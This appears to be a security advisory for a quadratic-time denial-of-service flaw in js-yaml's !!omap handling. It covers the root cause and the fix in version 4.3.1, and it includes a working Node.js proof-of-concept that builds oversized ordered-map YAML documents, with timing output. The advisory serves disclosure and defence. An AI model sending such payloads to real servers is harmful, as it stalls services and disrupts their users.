high · 7.5Aug 6, 2026

CVE-2026-59870: js-yaml Quadratic CPU Denial of Service via !!omap

Rohit Hatagale
AI Security Researcher, SecureLayer7

Parsing a large YAML ordered-map (!!omap) document with js-yaml 4.x blocks the Node.js event loop for seconds, letting any attacker stall your server with a single HTTP request.

Packagejs-yaml
Ecosystemnpm
Affected>= 4.0.0, < 4.3.1
Fixed in4.3.1
CVE-2026-59870: js-yaml Quadratic CPU Denial of Service via !!omap

The problem

The resolveYamlOmap() function in lib/type/omap.js checks for duplicate keys by calling objectKeys.indexOf(pairKey) inside a per-entry loop. That makes the operation O(n²): resolving 80,000 entries takes roughly 2.6 seconds of synchronous CPU on a modern machine.

The !!omap tag is registered in the **default schema**, so no special options or schema override is needed. A plain yaml.load(untrustedInput) call is enough to trigger it. Because the loop is synchronous, one malicious request blocks the entire Node.js event loop and stalls every concurrent request in the process.

Proof of concept

A working proof-of-concept for this issue in js-yaml, with the exact payload below.

javascript
// poc.js — node poc.js
const yaml = require('js-yaml');

// Build an !!omap document with n unique entries
const doc = n =>
  '!!omap\n' +
  Array.from({ length: n }, (_, i) => `- k${i}: ${i}`).join('\n') +
  '\n';

for (const n of [10000, 20000, 40000, 80000]) {
  const d = doc(n), t = Date.now();
  yaml.load(d); // default schema, no options needed
  console.log(`n=${n}  bytes=${d.length}  load=${Date.now() - t}ms`);
}

// Observed on js-yaml 4.3.0 / node v20:
// n=10000  bytes=137787   load=54ms
// n=20000  bytes=297787   load=169ms
// n=40000  bytes=617787   load=646ms
// n=80000  bytes=1257787  load=2607ms
// ~4x runtime per 2x input = O(n²) confirmed

The root cause is CWE-407 (Insufficient Algorithmic Complexity). Array.prototype.indexOf is a linear scan, so inserting n entries into objectKeys requires 1+2+…+n comparisons, totalling O(n²) work. Runtime scales by ~4x for every 2x growth in entry count, the classic quadratic signature.

The fix, already shipped in the 5.x line (commit 39f3211), replaces the growing array with a Set: if (seen.has(pairKey)) return false; seen.add(pairKey). Each lookup and insert is O(1), making the full resolution O(n). The 4.x patch in 4.3.1 backports exactly this change to lib/type/omap.js.

The fix

Upgrade js-yaml to **4.3.1** (4.x users) or **3.x** users should watch for the backport release. The 5.x line has been fixed since 5.2.1. No workaround exists short of rejecting or size-capping YAML input before it reaches yaml.load().

Reporter not attributed.

References: [1][2]

Related research